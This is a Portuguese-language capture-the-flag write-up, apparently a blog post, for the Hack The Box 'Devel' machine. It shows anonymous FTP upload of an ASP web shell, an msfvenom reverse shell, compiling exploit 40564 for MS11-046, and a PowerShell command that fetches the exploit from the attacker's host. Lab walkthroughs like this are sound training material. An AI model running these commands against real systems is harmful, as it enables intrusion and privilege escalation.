Devel - HTB Write Up - CVE-2011-1249 - MS11-046 - AFD Exploit


CVE-2011-1249 - MS11-046 - AFD Exploit

Enumeração Geral 

nmap -Pn -sV -p- --open [IP]



HTTP Scan

nmap -Pn -p 80 -A [IP] 



FTP Scan 

nmap -Pn -p 21 -A [IP]


O resultado do scan mostra que o FTP permite o login anonimo. 


O FTP permite criar um diretório e fazer o upload de arquivos, e para evidenciar adicionei o arquivo teste-ftp.html



Ao fazer o acesso HTTP com o IP a resposta é a página padrão do IIS 7.5 e é possível identificar o uso da linguagem ASPNET pela aplicação. 



A SECLIST possui uma web-shell na linguagem ASP localizada em:  /usr/share/seclists/Web-Shells/FuzzDB


Executando a web-shell 


No entanto, a web-shell não permite acesso aos diretórios dos usuários Administrator e babis. 

Reverse Shell com ASPX

Visualizando os formatos de arquivos no MSVenom

msfvenom --list formats

Visualizando os payloads para windows no MSVenom

msfvenom --list payloads | grep windows

O payload gerado com o msvenom é windows/shell_reverse_tcp 



Upload para o FTP realizado com sucesso 


Execução da Shell Reversa 



Conexão estabelecida 



Enumeração Interna 

systeminfo 


Visualizar os privilégios do atual usuário



Visualizar as informações do atual usuário como os grupos aos quais pertence, os privilégios 


Ao buscar por artigos sobre escalação de privilégio, encontrei a referencia para o exploit 40564 que explora a vulnerabilidade MS11-046.

Searchsploit 

searchsploit -w 40564


MS11-046 - CVE-2011-1249

AFD - Ancillary Function Driver for WinSock é um drive do Windows. O arquivo afd.sys é executado pelo kernel do windows e gerencia a comunicação TCP/IP. Na CVE-2011-1249, foi publicada a vulnerabilidade de escalação de privilégio do AFD onde o drive não faz a validação correta de input passado do "modo usuário" para o kernel do windows. 

Compilando o exploit 

De acordo com as instruções do exploit, a compilação é feita com o mingw32 e para ver se o mingw está instalado no Kali basta executar o comando abaixo:

apt list --installed



Comando para compilar o exploit

i686-w64-mingw32-gcc 40564.c -o 40564.exe -lws2_32

Na primeira tentativa de executar o payload depois de adicionar o arquivo 40564.exe pelo comando put do FTP, a execução retorna uma falha. Ao pesquisar sobre o erro "This program cannot be run in DOS mode", encontrei uma dica sobre o arquivo estar corrompido, sendo assim, habilitei o web server com o python na minha máquina e transferi o arquivo com o powershell a partir da máquina-alvo. 

powershell -c "(new-object System.Net.WebClient).DownloadFile('http://[IP]:8080/40564.exe', 'c:\inetpub\wwwroot\teste\40564.exe')"



Dessa vez funcionou. O arquivo estava corrompido mas ao transferir com o powershell, o arquivo está integro e o exploit pôde ser executado. 



Escalação de privilégio concluída. 


Após executar o exploit e conseguir o acesso como SYSTEM, ao sair da shell, o exploit mostra esse output com informações interessantes sobre os componentes usados para explorar a falha no AFD. 

Referências:

[+] Microsoft Security Bulletins - MS11-046 

Comentários

Postagens mais visitadas